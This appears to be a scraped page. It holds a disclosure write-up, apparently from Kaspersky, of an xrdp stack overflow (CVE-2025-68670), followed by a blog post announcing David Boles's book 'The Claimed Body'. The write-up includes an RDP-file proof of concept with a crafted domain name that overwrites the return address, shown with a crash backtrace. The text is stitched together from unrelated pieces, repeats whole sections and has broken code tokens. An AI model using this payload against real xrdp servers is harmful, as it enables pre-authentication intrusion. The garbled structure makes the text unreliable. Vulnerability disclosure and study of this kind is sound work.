if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
The Claim I Filed in 2006
This week I published The Claimed Body: How American Institutions Divided the Human Organism Among Themselves. Fifteen chapters, 559 pages in paperback, 349 in the web edition, a Kindle ebook, and a wraparound cover that took the shape of a parcel map of the body. The book is out on Amazon and through BolesBooks.com. Readers who have followed the constellation for any length of time will recognize the argument before they finish the first chapter. I have been writing toward this book since December of 2006, when I first used these pages to ask a question I did not yet have the vocabulary to answer.
The question back then was why the prison kept showing up in parts of American life that were not prisons. A school discipline policy reads like a booking protocol. An employer’s drug screen reads like a parole condition. A hospital discharge summary reads like a court order. The architecture of the panopticon, which Jeremy Bentham proposed in 1791 as a specific building, kept turning up in places where no building existed. In 2008 I registered domains around the word panopticonic to hold the argument I was beginning to see, having found only a single prior usage of the word in a 1959 issue of Time magazine. The word gave me a handle. It did not yet give me the book.
That book, the first one, arrived last year as Carceral Nation: How the Prison Escaped Its Walls and Made a Panopticonic Society. Carceral Nation did what I had been trying to do for two decades: it named the institutional logic that moved the prison’s discipline out of the prison and into schools, workplaces, clinics, data systems, and the texture of ordinary American life. I thought when I finished Carceral Nation that I had written the book the 2006 post wanted to become.
I was wrong. Carceral Nation was one half of a pair. The Claimed Body is the other half, and the pair is now complete.
Here is how the two books relate. Carceral Nation tracks one institution, the prison, and the way its logic escaped its physical walls to operate across institutional domains that were not prisons. The Claimed Body reverses the telescope. It tracks one body, the American body, and the way many institutions file claims on portions of it across the life cycle. Not one institution escaping its walls. Many institutions operating on the body simultaneously, each with its own filing mechanism, each with its own jurisdiction, each with its own enforcement apparatus, and no single forum where the body can contest the overlapping and contradictory claims.
The Homestead Act of 1862 is the organizing metaphor. Signed by Lincoln during the Civil War, the Act distributed continental land through a specific mechanism: a settler filed a claim on 160 acres of public land, lived on the parcel for five years, improved it, and received title. The claim, the parcel, the boundary line, the survey marker, the adjudicating court if the claim was contested. Between 1862 and 1976, the United States distributed approximately 270 million acres of continental North America this way. My argument is that the logic of the registered claim did not retire with the Act. It migrated from land to body. A hospital claims your birth. A school claims your developmental measurements. An insurer claims your diagnostic history. An employer claims your labor capacity. The state claims your reproductive eligibility and your military eligibility. If the criminal claim succeeds, a prison holds you. At the other end of life, a dying registry claims your cessation and a funeral corporation claims your remains. Operating in the shadow of all of these, a data broker sells your patterns forward to whoever will pay.
Fifteen chapters because fifteen is the number of major institutional domains that currently hold active claims on the American body. I did not invent the number. I counted the claimants.
What changed between Carceral Nation and The Claimed Body is the scale of the argument. Carceral Nation made its case by tracking one institution across domains. The Claimed Body makes its case by tracking one body across institutions. A reader who has read both books will see that the carceral logic described in the first is a special case of the claim-filing structure described in the second. The prison is one of fifteen claimants. The book you just finished and the book you are about to start belong to a single continuous argument, rendered from two sides. I needed the first book to get the vocabulary to write the second.
A note on why these books are appearing now, in 2026, rather than ten years ago. The answer is that the data layer has closed. Until recently, the hospital did not know what the pharmacist knew, and the pharmacist did not know what the school knew, and the school did not know what the employer knew. Each institutional claim operated in relative isolation. That is no longer true. The data broker industry, which occupies Chapter 13 of The Claimed Body under the heading of the Datafied Body, federates institutional claims into a single behavioral profile that any paying party can access. The body used to be claimed by many institutions operating in isolation. It is now claimed by many institutions operating through a shared back end. That shift, which accelerated across the past ten years and consolidated across the past five, is what made the argument urgent enough to warrant the book now rather than a decade ago.
A second note. I worry that the institutional claim on the American body is tightening at the same moment American democratic capacity to reform institutions is weakening. A claim that cannot be challenged in a public forum, by citizens with political standing, is no longer a claim in the Homestead sense. It is a confiscation. The Precarious Republic, the manuscript I continue to work on, argues that American democratic capacity is in measurable decline. The Claimed Body documents what that decline looks like from inside a single institutional domain: the domain of bodily life. The two manuscripts are cousins. They are not the same argument. They describe the same condition from different angles.
Readers who have come with me from the December 2006 post through Carceral Nation and now to The Claimed Body, thank you. The arc took twenty years. It took me the twenty years to learn how to name what I was trying to name. This blog is where the learning happened in public. Every half-formed post, every revision I never ran back, every idea that did not hold up on the second read, was part of the process by which I became able to write these books. Readers who are newer to the constellation, welcome. The books are the consolidated version of what has been going on here all along.
The Claimed Body is available now on Amazon in Kindle and paperback, and through BolesBooks.com for direct ordering and for free web reading. A Human Meme podcast episode and a Prairie Voice article accompany the launch. More work follows.
The homestead did not end. It turned inward.
And the claim I filed here in 2006 finally has its title document.
David Boles has operated the Boles web constellation since 1995. His most recent books are Carceral Nation and The Claimed Body and Selling Saturday Morning.
#amazon #audiobok #body #bodyRights #bolesBooks #book #carceralNation #davidBoles #homesteadAct #hospital #kindle #military #philosophy #teeth #vocabulary #writing -
The Claim I Filed in 2006
This week I published The Claimed Body: How American Institutions Divided the Human Organism Among Themselves. Fifteen chapters, 559 pages in paperback, 349 in the web edition, a Kindle ebook, and a wraparound cover that took the shape of a parcel map of the body. The book is out on Amazon and through BolesBooks.com. Readers who have followed the constellation for any length of time will recognize the argument before they finish the first chapter. I have been writing toward this book since December of 2006, when I first used these pages to ask a question I did not yet have the vocabulary to answer.
The question back then was why the prison kept showing up in parts of American life that were not prisons. A school discipline policy reads like a booking protocol. An employer’s drug screen reads like a parole condition. A hospital discharge summary reads like a court order. The architecture of the panopticon, which Jeremy Bentham proposed in 1791 as a specific building, kept turning up in places where no building existed. In 2008 I registered domains around the word panopticonic to hold the argument I was beginning to see, having found only a single prior usage of the word in a 1959 issue of Time magazine. The word gave me a handle. It did not yet give me the book.
That book, the first one, arrived last year as Carceral Nation: How the Prison Escaped Its Walls and Made a Panopticonic Society. Carceral Nation did what I had been trying to do for two decades: it named the institutional logic that moved the prison’s discipline out of the prison and into schools, workplaces, clinics, data systems, and the texture of ordinary American life. I thought when I finished Carceral Nation that I had written the book the 2006 post wanted to become.
I was wrong. Carceral Nation was one half of a pair. The Claimed Body is the other half, and the pair is now complete.
Here is how the two books relate. Carceral Nation tracks one institution, the prison, and the way its logic escaped its physical walls to operate across institutional domains that were not prisons. The Claimed Body reverses the telescope. It tracks one body, the American body, and the way many institutions file claims on portions of it across the life cycle. Not one institution escaping its walls. Many institutions operating on the body simultaneously, each with its own filing mechanism, each with its own jurisdiction, each with its own enforcement apparatus, and no single forum where the body can contest the overlapping and contradictory claims.
The Homestead Act of 1862 is the organizing metaphor. Signed by Lincoln during the Civil War, the Act distributed continental land through a specific mechanism: a settler filed a claim on 160 acres of public land, lived on the parcel for five years, improved it, and received title. The claim, the parcel, the boundary line, the survey marker, the adjudicating court if the claim was contested. Between 1862 and 1976, the United States distributed approximately 270 million acres of continental North America this way. My argument is that the logic of the registered claim did not retire with the Act. It migrated from land to body. A hospital claims your birth. A school claims your developmental measurements. An insurer claims your diagnostic history. An employer claims your labor capacity. The state claims your reproductive eligibility and your military eligibility. If the criminal claim succeeds, a prison holds you. At the other end of life, a dying registry claims your cessation and a funeral corporation claims your remains. Operating in the shadow of all of these, a data broker sells your patterns forward to whoever will pay.
Fifteen chapters because fifteen is the number of major institutional domains that currently hold active claims on the American body. I did not invent the number. I counted the claimants.
What changed between Carceral Nation and The Claimed Body is the scale of the argument. Carceral Nation made its case by tracking one institution across domains. The Claimed Body makes its case by tracking one body across institutions. A reader who has read both books will see that the carceral logic described in the first is a special case of the claim-filing structure described in the second. The prison is one of fifteen claimants. The book you just finished and the book you are about to start belong to a single continuous argument, rendered from two sides. I needed the first book to get the vocabulary to write the second.
A note on why these books are appearing now, in 2026, rather than ten years ago. The answer is that the data layer has closed. Until recently, the hospital did not know what the pharmacist knew, and the pharmacist did not know what the school knew, and the school did not know what the employer knew. Each institutional claim operated in relative isolation. That is no longer true. The data broker industry, which occupies Chapter 13 of The Claimed Body under the heading of the Datafied Body, federates institutional claims into a single behavioral profile that any paying party can access. The body used to be claimed by many institutions operating in isolation. It is now claimed by many institutions operating through a shared back end. That shift, which accelerated across the past ten years and consolidated across the past five, is what made the argument urgent enough to warrant the book now rather than a decade ago.
A second note. I worry that the institutional claim on the American body is tightening at the same moment American democratic capacity to reform institutions is weakening. A claim that cannot be challenged in a public forum, by citizens with political standing, is no longer a claim in the Homestead sense. It is a confiscation. The Precarious Republic, the manuscript I continue to work on, argues that American democratic capacity is in measurable decline. The Claimed Body documents what that decline looks like from inside a single institutional domain: the domain of bodily life. The two manuscripts are cousins. They are not the same argument. They describe the same condition from different angles.
Readers who have come with me from the December 2006 post through Carceral Nation and now to The Claimed Body, thank you. The arc took twenty years. It took me the twenty years to learn how to name what I was trying to name. This blog is where the learning happened in public. Every half-formed post, every revision I never ran back, every idea that did not hold up on the second read, was part of the process by which I became able to write these books. Readers who are newer to the constellation, welcome. The books are the consolidated version of what has been going on here all along.
The Claimed Body is available now on Amazon in Kindle and paperback, and through BolesBooks.com for direct ordering and for free web reading. A Human Meme podcast episode and a Prairie Voice article accompany the launch. More work follows.
The homestead did not end. It turned inward.
And the claim I filed here in 2006 finally has its title document.
David Boles has operated the Boles web constellation since 1995. His most recent books are Carceral Nation and The Claimed Body and Selling Saturday Morning.
#amazon #audiobok #body #bodyRights #bolesBooks #book #carceralNation #davidBoles #homesteadAct #hospital #kindle #military #philosophy #teeth #vocabulary #writing -
The Claim I Filed in 2006
This week I published The Claimed Body: How American Institutions Divided the Human Organism Among Themselves. Fifteen chapters, 559 pages in paperback, 349 in the web edition, a Kindle ebook, and a wraparound cover that took the shape of a parcel map of the body. The book is out on Amazon and through BolesBooks.com. Readers who have followed the constellation for any length of time will recognize the argument before they finish the first chapter. I have been writing toward this book since December of 2006, when I first used these pages to ask a question I did not yet have the vocabulary to answer.
The question back then was why the prison kept showing up in parts of American life that were not prisons. A school discipline policy reads like a booking protocol. An employer’s drug screen reads like a parole condition. A hospital discharge summary reads like a court order. The architecture of the panopticon, which Jeremy Bentham proposed in 1791 as a specific building, kept turning up in places where no building existed. In 2008 I registered domains around the word panopticonic to hold the argument I was beginning to see, having found only a single prior usage of the word in a 1959 issue of Time magazine. The word gave me a handle. It did not yet give me the book.
That book, the first one, arrived last year as Carceral Nation: How the Prison Escaped Its Walls and Made a Panopticonic Society. Carceral Nation did what I had been trying to do for two decades: it named the institutional logic that moved the prison’s discipline out of the prison and into schools, workplaces, clinics, data systems, and the texture of ordinary American life. I thought when I finished Carceral Nation that I had written the book the 2006 post wanted to become.
I was wrong. Carceral Nation was one half of a pair. The Claimed Body is the other half, and the pair is now complete.
Here is how the two books relate. Carceral Nation tracks one institution, the prison, and the way its logic escaped its physical walls to operate across institutional domains that were not prisons. The Claimed Body reverses the telescope. It tracks one body, the American body, and the way many institutions file claims on portions of it across the life cycle. Not one institution escaping its walls. Many institutions operating on the body simultaneously, each with its own filing mechanism, each with its own jurisdiction, each with its own enforcement apparatus, and no single forum where the body can contest the overlapping and contradictory claims.
